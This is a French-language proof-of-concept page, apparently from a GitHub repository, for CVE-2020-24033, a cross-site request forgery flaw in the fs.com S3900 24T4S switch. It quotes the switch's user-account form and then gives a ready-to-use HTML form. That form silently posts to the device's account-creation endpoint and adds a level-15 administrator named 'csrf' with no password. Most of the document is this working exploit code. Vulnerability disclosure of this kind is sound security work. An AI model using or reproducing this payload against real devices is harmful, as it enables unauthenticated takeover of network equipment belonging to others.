m0nsterrr/cve-2020-24033Preuve de concept pour CVE-2020-24033 : Cross-Site Request Forgery sur le commutateur fs.com S3900 24T4S permet la création non authentifiée de compte administrateur via un formulaire HTML conçu.
Le formulaire ne dispose pas d'un mécanisme d'authentification ou de jeton d'authentification, il existe donc une vulnérabilité de type Cross-Site Request Forgery (Ajout de compte utilisateur) permettant d'ajouter un utilisateur avec un accès complet. Tous les formulaires du S3900 24T4S sont sujets à une attaque Cross-Site Request Forgery.
<form name="lightBoxForm" id="lightBoxForm" method="post" action="">
<table class="data" id="userAccountTable">
<tbody>
<tr id="userAccountTable_tr0">
<th id="userAccountTable_tr0_th0" width="20%"><label i18n="User Name">User Name</label></th>
<td id="userAccountTable_tr0_td1">
<input type="text" name="userNameTex" id="userNameTex" size="40" maxlength="32" value="" onkeydown="parent.pressEnter(event)">
<select name="userNameSel" id="userNameSel" size="1" onchange="userNameChg(this.value)" style="display: none;" disabled="">
<option value="admin" i18n="admin">admin</option>
<option value="guest" i18n="guest">guest</option>
<option value="admin2" i18n="admin2">admin2</option>
</select>
</td>
</tr>
<tr id="userAccountTable_tr1">
<th id="userAccountTable_tr1_th0"><label i18n="Access Level">Access Level</label></th>
<td id="userAccountTable_tr1_td1">
<select name="levelSel" id="levelSel" size="1">
<option value="0" i18n="0">0</option>
<option value="1" i18n="1">1</option>
<option value="2" i18n="2">2</option>
<option value="3" i18n="3">3</option>
<option value="4" i18n="4">4</option>
<option value="5" i18n="5">5</option>
<option value="6" i18n="6">6</option>
<option value="7" i18n="7">7</option>
<option value="8" i18n="8">8</option>
<option value="9" i18n="9">9</option>
<option value="10" i18n="10">10</option>
<option value="11" i18n="11">11</option>
<option value="12" i18n="12">12</option>
<option value="13" i18n="13">13</option>
<option value="14" i18n="14">14</option>
<option value="15" i18n="15">15</option>
</select>
</td>
</tr>
<tr id="userAccountTable_tr2">
<th id="userAccountTable_tr2_th0"><label i18n="Password Type">Password Type</label></th>
<td id="userAccountTable_tr2_td1">
<select name="pswdTypeSel" id="pswdTypeSel" size="1" onchange="pswdTypeChg()">
<option value="No Password" i18n="No Password">No Password</option>
<option value="Plain Password" i18n="Plain Password">Plain Password</option>
<option value="Encrypted Password" i18n="Encrypted Password">Encrypted Password</option>
</select>
</td>
</tr>
<tr id="userAccountTable_tr3">
<th id="userAccountTable_tr3_th0"><label i18n="Password">Password</label></th>
<td id="userAccountTable_tr3_td1"><input type="password" name="pswd" id="pswd" size="40" maxlength="32" value="" disabled=""></td>
</tr>
<tr id="userAccountTable_tr4">
<th id="userAccountTable_tr4_th0"><label i18n="Confirm Password">Confirm Password</label></th>
<td id="userAccountTable_tr4_td1"><input type="password" name="pswdConfirm" id="pswdConfirm" size="40" maxlength="32" value="" disabled=""></td>
</tr>
</tbody>
</table>
<div class="actButtons"><input class="actButton" type="button" id="applyButton" i18n="Apply" value="Apply" onclick="parent.toSubmitForm(applyButton,formObj);"><input class="actButton" type="button" id="revertButton" i18n="Revert" value="Revert" onclick="init();"></div>
</form>
Ensuite, nous pouvons construire la POC suivante,
<html>
<body>
<form action="https://192.168.0.1/config/security_user_accounts_add.htm" method="POST">
<input type="hidden" name="page" value="sysUser" />
<input type="hidden" name="actType" value="Add" />
<input type="hidden" name="userName" value="csrf" />
<input type="hidden" name="userNameTex" value="csrf" />
<input type="hidden" name="levelSel" value="15" />
<input type="hidden" name="pswdTypeSel" value="No Password" />
<input type="submit" />
</form>
</body>
</html>
Voici ma propre démonstration de l'attaque
Copyright © Ludovic Ortega, 2020
Contributeur(s) :
-Ortega Ludovic - [email protected]